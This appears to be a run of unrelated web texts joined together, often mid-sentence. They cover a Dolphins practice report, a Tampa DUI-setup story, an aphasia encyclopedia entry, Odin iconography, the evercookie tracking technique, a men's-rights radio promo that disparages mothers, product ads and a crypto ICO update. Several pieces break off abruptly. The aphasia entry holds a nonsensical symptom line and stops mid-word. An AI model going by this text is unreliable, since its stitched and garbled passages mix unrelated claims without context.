"With me right now, the main thing is taking care of my body," Jordan said after practice. "I will do what I can while I'm here, as far as soaking everything up."
Dolphins second-year head coach Joe Philbin said there is no timetable for Jordan's return. The surgery was not a big enough concern to deter Miami from trading up to the No. 3 pick to take Jordan, and it's just a matter of when he will get back to 100 percent.
"He’s going to get himself well as quickly and completely as he possibly can, whenever that is," Philbin said. "And when the medical people deem that he's healthy, he will be joining us on a full-time basis."
Here are some other notes from Miami’s first rookie practice:In 1680 Friend William Rogers published a book documenting why some founding Friends were not of the same conscience as George Fox (and those who followed him) concerning the institutionalization of the gathering of Friends by establishing a specific set of outward forms and practices.
The following links comprise the whole of Rogers' work in the form of a facsimile of the original text. This is not a modernized form of the text. It is a copy I have compiled of the 17th century text rendered into PDF format.
Christian Quaker... By William Rogers
Written 1680
All links point to PDF files
Title Page Image:
https://drive.google.com/open?id=0B5QXoJ80zh-kNm5JZUlqeEZqVHM
PrefaceFirst PartSecond PartThird PartFourth PartFifth PartPostscriptIndexPlease let me know if there are any issues with downloading the sections.I am working on a modernized version of the book along with annotations and cross-references. However, it will not be available any time soon. At least there is an electronic version now available for those who are interested.Keith F. Saylorkfsaylor@gmail.comTAMPA — The Tampa police sergeant at the center of a DUI scandal says he felt dragged through the mud by his close friend at the Adams & Diaco law firm.
That friend, Adam Filthaut, tipped Sgt. Ray Fernandez off to a drunken driver at Malio's Prime Steakhouse on Jan. 23. Fernandez pulled that man over.
But the sergeant says he had no idea C. Philip Campbell was currently facing off against Filthaut's firm in a high-profile defamation trial, pitting radio host Todd "MJ" Schnitt against rival Bubba the Love Sponge Clem.
Fernandez found out the next day at about 7 a.m., when Campbell's DUI arrest made the news. The sergeant says he was "pretty pissed." He called Filthaut in a conversation later recounted to state investigators:
"This guy, he's an attorney," Fernandez remembers saying.
"Yeah. He's an attorney," he said Filthaut responded.
"You said he worked in your building."
"Well, yeah. He works in my building."
"Yeah. But you didn't tell me he's on this Bubba case.... Does he work for you guys?'
"No. He doesn't work on my side."
"Does he work on the other side?"
"Yeah."
"Are you kidding me?" Fernandez said.
Fernandez's sworn statement to prosecutors reveals the first comprehensive version of the sergeant's side of the story — including his explanation for how he accidentally deleted 92 text messages central to uncovering a potential DUI setup.
The sergeant has previously declined interviews through his attorney and the Tampa Police Department. He was moved to a desk job in May because of the FBI's ongoing investigation. He has not been disciplined.
He told Pinellas-Pasco state attorney's investigators that he lit into Filthaut and, at the advice of an attorney, has not spoken to him since. Previously, they had been close family friends.
Fernandez says he told Filthaut that he should have explained his firm's connection to Campbell.
"Well, Ray," the sergeant remembers Filthaut saying, "What's the big deal?"
• • •
For Sgt. Fernandez, it all started with a text shortly after 7 p.m.
"Hey, are you working tonight?" Filthaut asked.
Yes, Fernandez replied, and Filthaut tipped him off to Campbell.
For several hours, the pair texted back and forth. Fernandez remembers updates from Filthaut such as:
"He's drinking more."
"Hey, he's with girls, and he's buying a whole 'nother round of drinks."
"Hey, he's leaving."
The information was so detailed, Fernandez joked it appeared Filthaut — or someone else — was acting as a confidential informant, or "CI" in police talk.
"Man, you're CI," the sergeant texted. "How good are they, getting information."
For the DUI sergeant laying in wait, the consistent text updates were a glimpse into an odd scene unfolding at the bar at Malio's — one that caught the attention of other lawyers and the Malio's staff.
That's because Melissa Personius, the pretty paralegal from Adams & Diaco who sidled up next to Campbell at the bar and lied about where she worked, was being "extremely flirtatious," according to the bartender.
"She was turned toward to him, really leaning close into him, talking with her face very close to his," bartender Denise DiPietro would later tell investigators.
Even Campbell, then 64, was surprised when Personius, then 30, bought him a shot of Southern Comfort. "I've never had a girl buy me drinks before," the bartender heard him say.
The pair left together, and Campbell drove Personius' car when she refused to leave it in Malio's parking lot.
Fernandez was ready. He pulled Campbell over at 9:57 p.m. after, he says, the lawyer cut off a vehicle to turn right.
Another officer, Timothy McGinnis, conducted the field sobriety test and arrested Campbell. This time, the sergeant kept his friend Filthaut updated with texts:
"Hey, yeah, we got him stopped."
"My guy's arresting him."
"He's going to jail."
"My guy's putting cuffs on him."
State prosecutors, who dropped Campell's DUI charge last week, had to take Fernandez's word about his texts. The sergeant deleted all of them the next day. He says it was an accident. He told prosecutors that everything on his cellphone was wiped out when he tried to update it to a new Android operating system called Jelly Bean.
The Police Department never investigated his claim and now says they cannot open an Internal Affairs investigation because the FBI launched an inquiry in April.
Tampa Mayor Bob Buckhorn has been on vacation in North Carolina and has not commented.
Filthaut's attorney Mark J. O'Brien said Monday: "Sgt. Fernandez is an honorable police officer who has protected our community from DUI offenders for years. He did nothing wrong... and thus neither did Adam Filthaut." Fernandez was accurate in his statement to prosecutors, and there was no criminal conspiracy between him and Filthaut, the attorney said.
For 14 years, the two had been close. Their families went on vacations together. Their wives have been friends for nearly four decades.
Fernandez feels like his friend used him, he told the Pinellas-Pasco State Attorney's Office.
A prosecutor asked whether Fernandez would have behaved differently if he had known about the connection.
"I probably wouldn't even been out there, to be real honest with you," he replied. "'Cause I know what the ramifications are politically to something like that."
Are he and Filthaut still friends?
"I would think it was a very strained friendship," said Fernandez's lawyer, David Dee. "If there is one."
Times news researchers John Martin and Natalie Watson and staff writer Curtis Krueger contributed to this report. Jessica Vander Velde can be reached at [email protected] or (813) 226-3433.Not to be confused with Aphagia. For other uses, see Aphasia (disambiguation)
Aphasia Pronunciation, or Specialty Neurology, psychiatry Treatment Speech therapy
Aphasia is an inability to comprehend or formulate language because of damage to specific brain regions.[1] This damage is typically caused by a cerebral vascular accident (stroke), or head trauma; however, these are not the only possible causes. To be diagnosed with aphasia, a person's speech or language must be significantly impaired in one (or several) of the four communication modalities following acquired brain injury or have significant decline over a short time period (progressive aphasia). The four communication modalities are auditory comprehension, verbal expression, reading and writing, and functional communication.
The difficulties of people with aphasia can range from occasional trouble finding words, to losing the ability to speak, read, or write; intelligence, however, is unaffected.[2] Expressive language and receptive language can both be affected as well. Aphasia also affects visual language such as sign language.[1] In contrast, the use of formulaic expressions in everyday communication is often preserved.[3] One prevalent deficit in the aphasias is anomia, which is a deficit in word finding ability.[4]
The term aphasia implies that one or more communication modalities in the brain have been damaged and are therefore functioning incorrectly. Aphasia does not refer to damage to the brain that results in motor or sensory deficits, which produces abnormal speech; that is, aphasia is not related to the mechanics of speech but rather the individual's language cognition (although a person can have both problems). An individual's "language" is the socially shared set of rules as well as the thought processes that go behind verbalized speech. It is not a result of a more peripheral motor or sensory difficulty, such as paralysis affecting the speech muscles or a general hearing impairment.
Aphasia affects about 2 million people in the US and 250,000 people in Great Britain.[5] Though nearly 180,000 people in the US acquire the disorder a year, 84.5% of people have never heard of the condition.[6]
Signs and symptoms [ edit ]
People with aphasia may experience any of the following behaviors due to an acquired brain injury, although some of these symptoms may be due to related or concomitant problems such as dysarthria or apraxia and not primarily due to aphasia. Aphasia symptoms can vary based on the location of damage in the brain. Signs and symptoms may or may not be present in individuals with aphasia and may vary in severity and level of disruption to communication.[7] Often those with aphasia will try to hide their inability to name objects by using words like thing. So when asked to name a pencil they may say it is a thing used to write.[8]
Inability to comprehend language
Inability to pronounce, not due to muscle paralysis or weakness
Inability to speak spontaneously
Inability to form words
Inability to name objects (anomia)
Poor enunciation
Excessive creation and use of personal neologisms
Inability to repeat a phrase
Persistent repetition of one syllable, word, or phrase (stereotypies, recurrent/recurring utterances/speech automatism)
Paraphasia (substituting letters, syllables or words)
Agrammatism (inability to speak in a grammatically correct fashion)
Dysprosody (alterations in inflexion, stress, and rhythm)
Incomplete sentences
Inability to read
Inability to write
Limited verbal output
Difficulty in naming
Speech disorder
Speaking gibberish
Inability to follow or understand simple requests
Related behaviors [ edit ]
Given the previously stated signs and symptoms the following behaviors are often seen in people with aphasia as a result of attempted compensation for incurred speech and language deficits:
Self-repairs: Further disruptions in fluent speech as a result of mis-attempts to repair erred speech production. [ citation needed ]
Speech disfluencies: Include previously mentioned disfluencies including repetitions and prolongations at the phonemic, syllable and word level presenting in pathological/ severe levels of frequency.
Struggle in non-fluent aphasias: A severe increase in expelled effort to speak after a life where talking and communicating was an ability that came so easily can cause visible frustration.
Preserved and automatic language: A behavior in which some language or language sequences that were used so frequently, prior to onset, they still possess the ability to produce them with more ease than other language post onset.
Poor eye sight oral Dysmorphia usually characterized by tingling in the arms and legs, and sometimes heart disorders.[9]
Subcortical [ edit ]
Subcortical aphasias characteristics and symptoms depend upon the site and size of subcortical lesion. Possible sites of lesions include the thalamus, internal capsule, and basal ganglia.
Causes [ edit ]
[10] Regions of the left hemisphere that can give rise to aphasia when damaged
Aphasia is most often caused by stroke, but any disease or damage to the parts of the brain that control language can cause aphasia. Some of these can include brain tumors, traumatic brain injury, and progressive neurological disorders.[11] In rare cases, aphasia may also result from herpesviral encephalitis.[12] The herpes simplex virus affects the frontal and temporal lobes, subcortical structures, and the hippocampal tissue, which can trigger aphasia.[13] In acute disorders, such as head injury or stroke, aphasia usually develops quickly. When caused by brain tumor, infection, or dementia, it develops more slowly.[2][14]
Substantial damage to tissue anywhere within the region shown in blue on the figure below can potentially result in aphasia.[15] Aphasia can also sometimes be caused by damage to subcortical structures deep within the left hemisphere, including the thalamus, the internal and external capsules, and the caudate nucleus of the basal ganglia.[16][17] The area and extent of brain damage or atrophy will determine the type of aphasia and its symptoms.[2][14] A very small number of people can experience aphasia after damage to the right hemisphere only. It has been suggested that these individuals may have had an unusual brain organization prior to their illness or injury, with perhaps greater overall reliance on the right hemisphere for language skills than in the general population.[18][19]
Primary progressive aphasia (PPA), while its name can be misleading, is actually a form of dementia that has some symptoms closely related to several forms of aphasia. It is characterized by a gradual loss in language functioning while other cognitive domains are mostly preserved, such as memory and personality. PPA usually initiates with sudden word-finding difficulties in an individual and progresses to a reduced ability to formulate grammatically correct sentences (syntax) and impaired comprehension. The etiology of PPA is not due to a stroke, traumatic brain injury (TBI), or infectious disease; it is still uncertain what initiates the onset of PPA in those affected by it.[20]
Epilepsy can also include transient aphasia as a prodromal or episodic symptom.[21] Aphasia is also listed as a rare side-effect of the fentanyl patch, an opioid used to control chronic pain.[22]
Classification [ edit ]
Aphasia is best thought of as a collection of different disorders, rather than a single problem. Each individual with aphasia will present with their own particular combination of language strengths and weaknesses. Consequently, it is a major challenge just to document the various difficulties that can occur in different people, let alone decide how they might best be treated. Most classifications of the aphasias tend to divide the various symptoms into broad classes. A common approach is to distinguish between the fluent aphasias (where speech remains fluent, but content may be lacking, and the person may have difficulties understanding others), and the nonfluent aphasias (where speech is very halting and effortful, and may consist of just one or two words at a time).
However, no such broad-based grouping has proven fully adequate. There is wide variation among people even within the same broad grouping, and aphasias can be highly selective. For instance, people with naming deficits (anomic aphasia) might show an inability only for naming buildings, or people, or colors.[23]
It is important to note that there are typical difficulties with speech and language that come with normal aging as well. As we age language can become more difficult to process resulting in a slowing of verbal comprehension, reading abilities and more likely word finding difficulties. With each of these though, unlike some aphasias, functionality within daily life remains intact.[24]
Boston classification [ edit ]
Individuals with Wernicke's' aphasia, also referred to as receptive or fluent aphasia, may speak in long sentences that have no meaning, add unnecessary words, and even create new "words" (neologisms). For example, someone with receptive aphasia may say, "delicious taco", meaning "The dog needs to go out so I will take him for a walk". They have poor auditory and reading comprehension, and fluent, but nonsensical, oral and written expression. Individuals with receptive aphasia usually have great difficulty understanding the speech of both themselves and others and are, therefore, often unaware of their mistakes. Receptive language deficits usually arise from lesions in the posterior portion of the left hemisphere at or near Wernicke's area. [27] [28] [29] It is often the result of trauma to the temporal region of the brain, specifically damage to Wernicke's area. [30] Trauma can be the result from an array of problems, however it is most commonly seen as a result of stroke [31]
It is often the result of trauma to the temporal region of the brain, specifically damage to Wernicke's area. Trauma can be the result from an array of problems, however it is most commonly seen as a result of stroke Individuals with Broca's aphasia frequently speak short, meaningful phrases that are produced with great effort. It is thus characterized as a nonfluent aphasia. Affected people often omit small words such as "is", "and", and "the". For example, a person with expressive aphasia may say, "walk dog", which could mean "I will take the dog for a walk", "you take the dog for a walk" or even "the dog walked out of the yard". Individuals with expressive aphasia are able to understand the speech of others to varying degrees. Because of this, they are often aware of their difficulties and can become easily frustrated by their speaking problems. [32] While Broca's aphasia may appear to be solely an issue with language production, evidence suggests that Broca's aphasia may be rooted in an inability to process syntactical information. [33] Individuals with Broca's aphasia may have a speech automatism (also called recurring or recurrent utterance. These speech automatisms can be repeated lexical speech automatisms; e.g., modalisations ('I can't..., I can't...'), expletives/swearwords, numbers ('one two, one two') or non-lexical utterances made up of repeated, legal but meaningless, consonant |
we needed to. Our bigs were huge on the boards. The defense was great down the stretch. That's what's going to win this thing."
The game was tied 47-all at halftime, and the Jayhawks seemed on the verge of pulling away several times only to have Carolina reel them back in. But just before the midway point of the second half, Kansas established some breathing room when Releford scored on a jumper to start an 8-2 run. Taylor capped the spurt with a swirl-in jumper and a dunk off a turnover by Henson to give the Jayhawks a 66-61 lead.
Zeller pulled the Tar Heels within two on a putback, and Barnes hit the first of two free throws to make it 68-67 with 3:58 to play. But Johnson, shooting almost 52 percent in the tournament, drained that 3 from NBA range to start the decisive run.
"It was a shot I was comfortable taking," Johnson said. "He took a step backward, and I made him pay for it."
Doubt the Jayhawks, and they'll prove you wrong.Odin as Weapon Dancer
To the left is the mirrored image of one of the four cast-bronze dies from Torslunda, which were used for striking helmet-plates. It is mirrored advisedly, in order to get the actual image that appeared on the helmets when the matrice was applied to them. This die (dated to c. 600) was found at Björnhovda in Torslunda on Öland. It is famous because of the bird-horned dancer, an image that gave rise to a lot of speculation. It was suggested that the man with two spears represents Odin, since berserkers and úlfhéðnar were special Odin’s warriors who wore pelts of bears and wolves. Correspondingly, the other figure on Torslunda die was interpreted as either bear-warrior or wolf-warrior. Identification of the bird-horned man as Odin was further endorsed with the aid of the Stockholm Archaeological Research Laboratory’s laser scanner, which mapped the surface of the matrice and proved that the man is one-eyed. It is interesting that the right eye on the matrice (the left one on the resulting helmet plate) was initially present, but removed with a sharp instrument during the manufacturing process. Note that the horned helmet (or horned hat) has strange “ears” below the horns. Another interesting fact is that the horned man is wounded by a spear in the heel. The same features are present on the so-called “dancing warrors” plate from the Sutton Hoo ceremonial helmet (dated to the 6th century):
The plate is on the front side of the helmet (photo above to the right by RahelH_, used under Creative Commons Attribution 2.0 Generic Licence), so the meaning it was supposed to convey was deemed to be very important. The protrusions on the warriors’ helmets also have bird heads, the helmets also have “ears” visible on Torslunda die discussed above. However, this image features another stage/variant of the sacred or ceremonial dance. Torslunda warrior holds two spears in both hands: one spearhead up and the other down, his sword being sheathed. Sutton Hoo weapon dancers hold both spears in one hand, both spearheads down. The unsheathed sword is in the other hand. At least one of the warriors (the other was reconstructed) wounds himself in the heel (or merely aims at his heel). Two more spears seem to emerge from the ground. Note the square element visible on the front side of the warriors’ helmets/hats. They also have their clothes on, while Torslunda man is naked, except for the belt and horned headgear. Ritual horned dancer from Finglesham buckle, holding two spears, also has nothing on, while the horned dancer from Ekhammar pendant (Kungsängen, Uppland), holding two spears in his left hand and a sword in his right hand, has his clothes on. Recurring pattern may indeed point to various stages/variants of the same widely spread ceremony/ritual performed by weapon dancers. Another changing item in the images of this type is the square element on the helmet/hat. Take a look at the plates from two Vendel period helmets: Valsgärde 7 (to the left) and Valsgärde 8 (to the right):
These images feature the same character, but in quite a different context: naked Odin directs a warrior’s spear, holding himself a spear in his left hand. On Valsgärde 7 plate the square element is present, while on Valsgärde 8 it is absent. Moreover, on Valsgärde 7 plate Odin does not have a belt, but has bird heads on the horns, while on Valsgärde 8 Odin has a belt on, but no bird heads. Yet another form of bird-horned Odin is a charm featuring only the Norse god’s head. This type is represented by the Anglo-Saxon 7th century object found at Soberton, Hampshire in 2002, and the Viking artefact found at Staraya Ladoga, Russia (below to the left).
The latter image is interesting in connection with two items displayed at the British Museum, London, as terminals of drinking horns (photo above to the right by Thorskegga, all rights reserved, used by permission). The similarity with Staraya Ladoga object is so striking, that one may suggest these two terminals were once used for a helmet/hat worn by weapon dancers during the ceremonies discussed above. As for Torslunda die image, its connection with berserkers or úlfhéðnar seems unlikely. If Odin protected berserkers, why one of them should wound him in the heel? I would rather connect this image with the idea of Odin’s encounter with the wolf Fenrir during the events accompanying the end of the present world (Ragnarök). If so, the image on another Torslunda matrice featuring a man with an axe who ties a large beast (also present on a plate from Vendel 1 helmet) may be an image of Tyr who ties Fenrir.3 characters : 10% reduction
4 characters : 20% reduction
This 1st batch of commissions will be reserved only for rwby-related request (and yes, OCs too). Pricing of the commission are done in British pounds (GBP) and will break down into 2 parts :andI have prepared a nice little table here for viewing:5 5 106 - 8 6 - 10 10 - 185 - 10 10 - 15 15 - 258 - 15 15 - 30 23 - 4510 - 30 20 - 40 30 - 70* If you request a piece with 3 or more characters there will be a reduction in price for each of those character* Anymore than that will be up for negotiationExample of how this model would work can be demonstrated through my latest piece "Goddess"An example of the best I have to offered, its a fully-coloured detailed drawing, hence earning the highest prices for each part,forandfor. Since there are 2 characters, the 20% reduction comes into play, reducing it down tofor each one, making the total price for the entire painting :I hope that with this system, you can have a clear idea of what you want, making the transaction between me and you go a bit smoother.After you have made up your mind, please send note to detailing your request. All commissions will be the done in the order I receive them in my notes ( which I would post when the it is closed ).As for the payment process. Payments are done through paypal (which if you don't have an account is fine, I'll send an invoice through you email). After I've received the request, I will begin making a basic sketch and lineart. At that point, I will send it to you to make any final alterations / additions. Before moving on to colouring, I will request that you sendof the payment first.( the deadline for this would be 2 weeks counting from the day the invoice was sent, failure to meet this deadline will result in the sketch being scrapped and the commission canceled). After the piece is completed, I will request the rest of the payment and also discuss whether or not you would want it sent privately to you or posted on my page here.And that is it. If you have any question,please list them in the comments. With that said let the drawing begin!!Example of pricing tiers :1. Lineart (5-10 pounds)2. Simple colours (10-30)3. Detailed (40+):A wind farm slated for the waters of Denmark clears regulatory hurdle from the European Commission. File photo Teun van den Dries/Shutterstock.
March 28 (UPI) -- Danish plans to build one of the larger wind farms in European territorial waters are in line with competition and environmental goals there, a governing body said.
Denmark in February told the European Commission it was offering state-backed premiums for the price of electricity to support the Kriegers Flak offshore wind farm. Margrethe Vestager, the European commissioner in charge of competition policy, said the wind farm will help Denmark cut back on greenhouse gas emissions without distorting the market.
"The Kriegers Flak offshore wind farm will help to cut carbon dioxide emissions while the support is carefully designed to avoid distorting competition in electricity markets," she said in a statement. "I'm glad to be able to approve state support for this project."
Vattenfall, a state-owned Swedish energy company, secured the bid to build Kriegers Flak in late 2016. Its winning bid of $54.10 per megawatt-hour made the project one of the least expensive offshore wind projects in the world.
RELATED North Carolina offshore wind hailed as job creator
At 600 megawatts, Kriegers Flak will be Denmark's largest offshore wind farm, with a peak capacity large enough to satisfy nearly a quarter of all average households in the country.
The Danish Parliament in 2012 voted to develop an economy entirely independent of fossil fuels by 2040.
Nine countries that share a border with the North Sea -- Belgium, Denmark, France, Germany, Ireland, Luxembourg, the Netherlands, Norway and Sweden -- agreed last year to improve infrastructure to support offshore wind.
RELATED British grid drawing power from new offshore wind farm
The European Commission added that infrastructure offshore will connect regional offshore wind farms so that an increased exchange of electricity between the German and Danish markets is permissible.Researcher Samy Kamkar has created a Javascript API that creates and manages a new type of cookie he calls "evercookie."
The point of evercookie is to resist removal by the user. Kamkar: "Its goal is to identify a client even after they've removed standard cookies, Flash cookies (Local Shared Objects or LSOs), and others."
The evercookie page is at http://samy.pl/evercookie/. That's not a live link, and be careful going to the site because you will get an evercookie from samy.pl if you do so.
evercookie does this by storing cookie data with as many local storage mechanisms as it can find. Apart from standard browser cookies there are Flash cookies, a number of local storage repositories provided by HTML 5, even in the RGB values of PNG graphics forced into the cache. On Kamkar's TODO list are Silverlight Isolated Storage and the window.name field.
The really evil part comes when evercookie finds that the user has removed any of the types of cookies in question. It then recreates them using each mechanism available.
Like I said, if you want to test it, load the address in your browser and party. Private browsing (a.k.a. "porn mode") can block some of these mechanisms, but probably not all.
But in Google Chrome you'll find a superior handling of the problem. Much to my surprise, and confirmed by Adobe, Chrome's cookie manager (ToolsOptionsUnder the HoodContent SettingsShow cookies and other site data) integrates management of Flash cookies and almost all of the other items on Kamkar's list. Under the "samy.pl" domain the section "Local Storage" included both the HTML5 storage and Flash cookies. Deleting the domain deleted all of it.
Better still, Chrome's "Incognito" (private) mode prevented any of them. The cookie manager can't stop the cached image Kamkar says he creates, but all the private modes should be flushing the cache anyway.
Adobe says that they are working with other browser companies to integrate similar functionality for Flash local storage, but Google Chrome is the first.On October 4th, at the same time as Linden Lab’s Patterns was launching in its Genesis Release using the Steam Platform, Valve, the owners of Steam released a update to the Steam client and website which included their new line of non-game software, which they originally described as being “creativity and productivity” applications.
The update initially sees seven titles listed in the new Software category of the Steam client / website, including a free copy of the basic Gamemaker Studio for Windows (with the cross-platform suite available for £314.00 ($508)); 3D modelling software 3D Coat, Art Rage, a painting and drawing application; Camera Bag 2 photo editing software, 3DMark and 3DMark Vantage PC performance tools and Valve’s own Source Filmmaker.
There has been some speculation (both in this blog and elsewhere), that this new category might be where Second Life appears when it is finally made available through Steam. However, on the basis of this initial selection offered through Steam, it would appear increasingly likely that SL may appear under the Games category.
No date has been given for Second Life’s appearance on Steam – nor should this update from Valve be taken as a sign the SL’s Steam debut is drawing close. Currently, the deployment of new versions of the SL viewer are being held up while a serious crash / memory leak issue is rectified. Until such time as this has been taken care of, the updates to the viewer which are specifically aimed at the Steam tie-in are subject to delay.
AdvertisementsGoing up against women in a conflict can be tough in a culture that reveres the female above the male. Whether it is in court or the court of public opinion, women tend to get a pass based on victim identity and being the “fair” sex. It creates a significant bias in their favor.
But even the exalted status of “woman,” pales into insignificance when compared to the state of holiness of “mother” in our culture.
Motherhood, another term for having had a baby, elevates women from a special class to being without peer. Mothers are assumed to be wise, mature and by their very nature the perfect arbiters of what is best for children, and indeed the rest of the world. As actress Sally Fields once said, “If mothers ran the world there would be no wars.”
And Sally should know. After all, she is a mother.
This is a kind of magical thinking that plays out in more than a few mothers. Or, as Dr. Palmatier has said, “A Golden Uterus (GU) is a woman who believes the very common act of giving birth is an act of such cataclysmic importance that all humanity should bow down at her feet, worship her and give her special privileges and, in some cases, a get-out-of-jail-free card just because she’s reproduced. If only the physical act of giving birth could automatically make someone a good mother and a good person.”
Dr. T continues:
“Simply put, it doesn’t. In fact, becoming a mother can make an immature, controlling, abusive, entitled, crazy woman even worse than she was pre-baby.”
Tonight, on Man, Woman, Truth Radio, Dr. T and Paul Elam will perform an examination of The Golden Uterus, that special organ in a privileged class of women that aside from being reproductive equipment, is also apparently a second brain and an additional soul that men cannot possibly have, and some women use it to claim privilege and even bully others into submission to their whims.
Our society, including our legal system, stands right behind that idea, often as it causes the destruction of lives.
Much of the show will focus on Mary Richardson Kennedy’s suicide and divorce from Robert Kennedy, Jr.
The show starts tonight, June 18, 2012 at 8:00 Central Time, which is June 19 at 2:00 a.m. in London and June 19, 11 a.m. in Brisbane. The phone lines will be open at 310-388-9709. Registered show followers can skype in from anywhere in the world, and we will be opening the Man, Woman Truth Stickam Room after the show.
For regular listeners, please keep in mind that the Man, Woman, Truth Stickam is a different one than is used for A Voice for Men Radio shows. In order to join us after the show in Stickam, you must sign up for that room AND request inclusion to the group.
SHOW PAGE
STICKAM ROOMTail Mail is an affordable monthly subscription box from Made by Mermaids. Each month we receive 1 item from the Made by Mermaids collection and 2 sample products from businesses across the world.
Subscription Box: Tail Mail
Cost: $14.99 to US and $24.99 International /month
Shipping: FREE
Ships to: Worldwide
What you get: 1 handcrafted item from their Made by Mermaids collection and 2 sample products from small businesses across the globe. Plus exclusive coupons.
Tail Mail is a new monthly subscription. The boxes are not all identical, the item from the Made by Mermaids collection is similar but different. For instance this month’s item was a necklace, everyone received a necklace but not the same necklace and the 2 samples we receive are not the same either. I know some of you prefer boxes that are the same so I just thought I’d let you know how the box works.
Seashell Necklace from Made by Mermaids
This was the main piece in the subscription box this month. This seashell necklace has gold stripes on it and comes on a gold coloured necklace. It is a very lovely piece. This particular item isn’t available on the site right now but there are new pieces coming in all the time.
SeaGlass Art from Tahlulas Treasures
This Seahorse mirror image seaglass art is adorable. On the Tahlulas Treasure site there are a few suggestions on how to use this piece. This would make great wedding shower gift tied on a package, hostess gift hung on a bottle of wine, party favors or just for your beachy decor. Great Ideas and a beautiful piece of art.
Download of 4 Tracks from The Sancutary Within
The link on this card gives us 4 meditation tracks to listen to. I received two cards but they are identical so I think that was just a mistake. The tracks are about 25 minutes long in total and the speaker guides you through the steps to do the meditation and visualizations.
Flash Tattoos from CrownMermaid.com
These Flash Tattoos from Crown Mermaid are cute. I’m thinking of putting the flower on a glass votive I have. I think it’ll look very pretty.
This was Tail Mails first box and I think they did a pretty great job. If you are interested in Tail Mail you can click HERE to visit the website.
What did you think of Tail Mail’s First Box?Black Friday is traditionally a day when shoppers race to get all of the best deals. Black Friday shopping used to mean fighting for parking spots, standing in lines, and pushing through crowds to get deals on a new washer and dryer, camcorder or other holiday gifts, but it doesn’t have to be that way. On eBay, you can save up to 70 percent on Black Friday deals on electronics, fashion, home and sporting goods, toys, gift cards and more — all from the comfort of your own home. By shopping Black Friday online, you will save yourself time, money and the hassle of over-crowded stores.
Make eBay Your Black Friday Store
eBay’s Black Friday sale online rivals any retail Black Friday shop. Whether you're looking for this season's hottest items or are hoping to score that rare hard-to-find item, sellers on eBay have Black Friday deals to fit every need. Shop Black Friday online for clothing, appliances, toys, computers, video games, cameras and more — all at the very lowest prices.
Get a Head Start on Holiday Shopping
The day after American Thanksgiving is the unofficial kickoff to the holiday shopping season. Instead of spending this precious day off doing Black Friday shopping in stores, sit back with a cup of tea and shop Black Friday deals online. Sellers on eBay offer a wide selection of the top products, so you’ll find the perfect gifts for everyone on your list. Find popular Black Friday deals on games, dolls and action figures for the kids in your life. For the fashion lover, eBay has all the top name brands in clothing and handbags on sale, including Ralph Lauren, Gucci, Calvin Klein, Nike, Louis Vuitton and more. You can even find top Black Friday deals in electronics, with laptops, TVs, tablets and cell phones all on sale.
Shop Online Black Friday Deals for Yourself, Too
Get into the spirit by stocking up on holiday and seasonal decor for your home, or browse appliance deals and get that new refrigerator or oven you’ve been wanting to ease holiday meal prep this year. Been wanting a new case for your tablet or cover or charger for your cell phone? Go for it — you won’t find deals like these anywhere else. Or just upgrade your wardrobe with eBay’s clothing deals or watches on sale. Now is the time to shop Black Friday online.2 Years Ago He Started a Business With $10 but now his company is worth $30,000
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I guess you are surprise also very curious to know what kind of business someone could start with $10. You know what they say? “In the world of movie everything is possible”. But hey, this is not a movie. It is happening right here in Africa (the land of endless opportunities).
This is the inspiring story of a science teacher, Cephas Nshimyumuremyi from Rwanda who started his business two years ago with $10 [N2, 000]. His company, Uburanga Products, which makes herbal jelly and soap from local medicinal plants is worth $30,000 [N6m] and employs 12 workers.
He said that the $10 helped him to buy the empty bottle in order to put his product on the market. From trying to teach his student how the science they were learning in class could be applied in practical ways, the idea to create natural cosmetics with healing properties was birthed. This also led him to launching his company so as to supplement his income from teaching.
Three(3) vital lessons you can learn from this bright entrepreneur:
1. Start with little, use your knowledge:
According to Cephas Herbs used in his remedies are grown in botanical garden, then dried and mixed to create either soap or jelly. The products made by Uburanga help the skin to be smooth and free from bacteria which can cause skin disease.
Now, that is like using what you know to get what you want. Perhaps to reduce cost, Cephas used the local medicinal plants used by some traditional healers in a scientific way. His goal is to provide the solution for more skin diseases In Africa.
2. You don’t always need huge capital to start a business:
Many entrepreneurs think that they need a million dollar capital from a bank or investor to get started but that’s not always true. Cephas like many other entrepreneurs across Africa who are struggling with capital to fund their start-up has proved to us all that you can actually start and run a successful business with little or no capital.
3. Start locally, think globally:
The world is bad. The world is corrupt. The government official is corrupt. And all those complains are what you’ll hear from an average African youth. But you know what I think? You are not the savior of the world. It is not your duty to solve all the problems of the world. You can start just right where you are from your immediate environment to change the world.
Did he encounter any challenge? Yes, like any other start-up, his challenges were:
Getting the word out about his product to the wider audience.
High cost of materials (containers) in which his products are sold.
Did he give up? No
Did he succeed? Yes!
Now, it’s your turn!
This story was originally published in CNNAfrican Start-upWeekly development status
Vladimir Tikhomirov Blocked Unblock Follow Following Oct 19, 2017
MyWish Pre-ICO raised $220k during the pre-ICO, 170% of cap. Now, MyWish is preparing for the ICO, which will start on October, 25. Official site: https://mywish.io/. Join the telegram group for more information: https://t.me/MyWish_EN
Hello everyone!
Here is our weekly development status.
Service
https://contracts.mywish.io/
1. Now you can use our service without registration! Registration is needed if you want to connect your account and contracts.
2. New big release preparation — to be released on 23rd of October (ver. 2.0.1):
· Smart contract-wallet template audit completed
· Smart contract deffered payment development completed
· Wedding contract form completed
· External developers application form completed
· Tutorial design completed
· Testing started
Branding
1. New logo released. We decided to make it more sunny after our previous logo.
2. New site released. More pages will be released by 25th of October.
Please try it: https://mywish.io/
Looking forward to your comments & feedback!
Official site: https://mywish.io/. Join the telegram group for more information: https://t.me/MyWish_ENBy Nadia Oxford
Video game stories are rarely subtle, and the narrative driving the Metal Gear series is as complicated and convoluted as a game story gets, which is why fans love it so. Ultimately, the games tell the story of how one soldier's yearning for a perfect world gets twisted over the decades into a motive for never-ending war.
With the NVIDIA GeForce GTX Metal Gear Solid V: The Phantom Pain Bundle available in participating stores, now's a good time to try and hash out the larger Metal Gear storyline so PC-only gamers who missed out on previous Metal Gear games can work out what's what in the upcoming, highly anticipated title. To avoid spoilers, neither what we know about Metal Gear Solid V: The Phantom Pain or its prologue, Metal Gear Solid V: Ground Zeros, is included in this round-up. For reference, however, the events of both games take place between Metal Gear Solid: Peace Walker and the first Metal Gear game for MSX.
Major thanks are due to AudioRejectz's summary of the games and The Complete History of Metal Gear from Xbox World 360 magazine and GamesRadar.
1964 – Events of Metal Gear Solid 3: Snake Eater (PlayStation 2, 2005)
